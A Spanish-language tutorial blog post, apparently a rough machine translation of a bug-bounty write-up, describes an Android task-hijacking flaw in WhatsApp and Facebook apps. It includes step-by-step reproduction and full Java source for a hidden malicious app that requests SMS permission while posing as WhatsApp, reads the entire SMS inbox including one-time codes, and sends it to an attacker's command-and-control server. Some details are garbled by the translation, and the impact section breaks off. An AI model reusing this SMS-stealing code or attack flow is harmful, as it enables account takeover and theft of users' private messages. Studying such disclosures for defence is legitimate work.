Tutoriales

Explicación de la vulnerabilidad de secuestro de tareas de WhatsApp

Hace aproximadamente un año, descubrí una vulnerabilidad de larga data en WhatsApp y otras aplicaciones populares de Android. Aunque esta vulnerabilidad existe desde hace años, sigue siendo en gran medida teórica.

Para demostrar su impacto en el mundo real, lo aproveché con éxito en WhatsApp, Facebook y Facebook Lite.Inmediatamente informé de mis hallazgos a Facebook. proyecto de sombrero blanco.

En esta publicación, compartiré los detalles que proporcioné a Facebook. ¿No quieres estudiar?Salta los detalles técnicos y mira Vídeo de demostración.

Buscar descripción

Al inspeccionar la aplicación WhatsApp para Android, encontramos una configuración incorrecta en AndroidManifest.xml relacionada con la funcionalidad Mission Control.

Esta mala configuración conduce a una vulnerabilidad crítica conocida como secuestro de tareas y genera una serie de ataques dirigidos a la última versión de WhatsApp en teléfonos Android.

Después de explotar con éxito la vulnerabilidad, una aplicación maliciosa puede tomar el control de la «pila trasera» de la aplicación WhatsApp y cada vez que un usuario intente abrir la aplicación WhatsApp vulnerable, verá la actividad de la aplicación maliciosa.

Este flujo de ataque le puede ocurrir a cualquiera que instale una aplicación maliciosa en su teléfono. Intenté aprovechar esto y creé una prueba de concepto real que fácilmente podría confundir a los usuarios con la aplicación real.

pasos para reproducir

  1. Descompilamos la última versión de la aplicación de Android y notamos que el valor del atributo del modo de inicio es una sola tarea. Esta es la identificación principal de vulnerabilidades de secuestro de tareas de Android.
    • Para obtener más información sobre esta vulnerabilidad, consulte la sección Referencias.

2. Para fines de prueba, utilizamos un dispositivo Galaxy S3 con Android 10 con los últimos parches instalados.

3. Tenga en cuenta este mensaje de texto OTP de WhatsApp; lo robaremos más tarde.

4. Se ha instalado una aplicación válida de WhatsApp desde Play Store.

5. Abra el cliente Burp Suite Collaborator y copie la carga útil de Collaborator. Usaremos esto como comando y control (C&C) o servidor C2 de un atacante para recibir mensajes SMS robados.

  1. Creamos una aplicación maliciosa para Android que robará todos los mensajes SMS disponibles y los enviará al cliente colaborador Burp (el servidor C&C del atacante).
    • Reemplace la variable de cadena «url» en su código con la carga útil del colaborador Burp. Ejecute la aplicación en Android Studio para instalarla en el dispositivo.

Código de aplicación de Android:

public class MainActivity extends AppCompatActivity {

    private static final int MY_PERMISSIONS_REQUEST_SEND_SMS = 1;
    boolean shouldExecuteOnResume;
    String url = " // C&C server URL


    public static final MediaType JSON
            = MediaType.get("application/json; charset=utf-8");
    OkHttpClient client = new OkHttpClient();


    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        shouldExecuteOnResume = false;
        moveTaskToBack(true);

        //checkForSmsPermission();
    }

    @Override
    protected void onResume() {
        super.onResume();
        setContentView(R.layout.activity_main);
        if(shouldExecuteOnResume){
            checkForSmsPermission();
        } else{
            shouldExecuteOnResume = true;
        }

    }

    private void checkForSmsPermission() {
        if (ActivityCompat.checkSelfPermission(this,
                Manifest.permission.READ_SMS) !=
                PackageManager.PERMISSION_GRANTED) {
            ActivityCompat.requestPermissions(this,
                    new String[]{Manifest.permission.READ_SMS},
                    MY_PERMISSIONS_REQUEST_SEND_SMS);
        } else {
            readSMS();
        }
    }

    @Override
    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
        super.onRequestPermissionsResult(requestCode, permissions, grantResults);
        switch (requestCode){
            case MY_PERMISSIONS_REQUEST_SEND_SMS:{
                if (grantResults[0] == PackageManager.PERMISSION_GRANTED){
                    readSMS();
                }else {
                    Toast.makeText(this, "Please grant permission", Toast.LENGTH_SHORT).show();
                    checkForSmsPermission();
                }
            }
        }
    }

    private void readSMS(){
        String[] reqCols = new String[]{"_id", "address", "body"};

        Cursor cursor = getContentResolver().query(Uri.parse("content://sms/inbox"), reqCols, null, null, null);

        JSONArray resultSet = new JSONArray();

        if (cursor.moveToFirst()) { // must check the result to prevent exception
            do {
                String msgData = "";
                JSONObject rowObject = new JSONObject();
                for (int idx = 0; idx < cursor.getColumnCount(); idx++) {
                    try {
                        rowObject.put(cursor.getColumnName(idx),cursor.getString(idx));
                    } catch (JSONException e) {
                        e.printStackTrace();
                    }
                }
                resultSet.put(rowObject);

            } while (cursor.moveToNext());
            Log.d("##SMS#win3zz##", resultSet.toString());

            post(url, resultSet.toString(), new Callback() {
                @Override
                public void onFailure(Call call, IOException e) {
                    Log.d("##Something went wrong#", e.toString());
                }

                @Override
                public void onResponse(Call call, Response response) throws IOException {
                    if (response.isSuccessful()) {
                        String responseStr = response.body().string();
                        Log.d("##Response##", responseStr);
                    } else {
                        Log.d("##Response##", "Error: Request not successful");
                    }
                }
            });

        } else {
            Log.d("##Error##", "Error: No SMS");
        }
    }

    Call post(String url, String json, Callback callback) {
        RequestBody body = RequestBody.create(JSON, json);
        Request request = new Request.Builder()
                .url(url)
                .post(body)
                .build();
        Call call = client.newCall(request);
        call.enqueue(callback);
        return call;
    }

}

7. Tenga en cuenta que existen dos tipos de aplicaciones, una es legítima y la otra es maliciosa. Al hacer clic en una aplicación maliciosa se ejecutará.

8. Observe que la aplicación se ejecutará inmediatamente y quedará oculta, incluso si no aparece en actividades recientes.

9. Ahora haga clic en nuestra aplicación WhatsApp en funcionamiento (descárguela e instálela desde Play Store) y ejecútela.

10. Esta es una parte muy importante. Ahora verá que la aplicación solicita permisos de SMS, pero nuestra aplicación legítima no los solicita, sino que es parte de la aplicación maliciosa que se inyecta automáticamente en la aplicación cuando se abre la aplicación legítima de WhatsApp en la pila de actividades.

11. Una vez que el usuario dé el permiso requerido por nuestra aplicación WhatsApp válida, todos los SMS disponibles en el dispositivo se enviarán al servidor C&C.

Observe el contenido del SMS en el cliente colaborador Burp, que vio en el paso 3.

Influencia

La vulnerabilidad permite que un atacante o malware se apodere de WhatsApp, robe datos del usuario y realice una variedad de ataques, que incluyen:

LEER  Herramientas para encontrar varios problemas en Kubernetes

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Botón volver arriba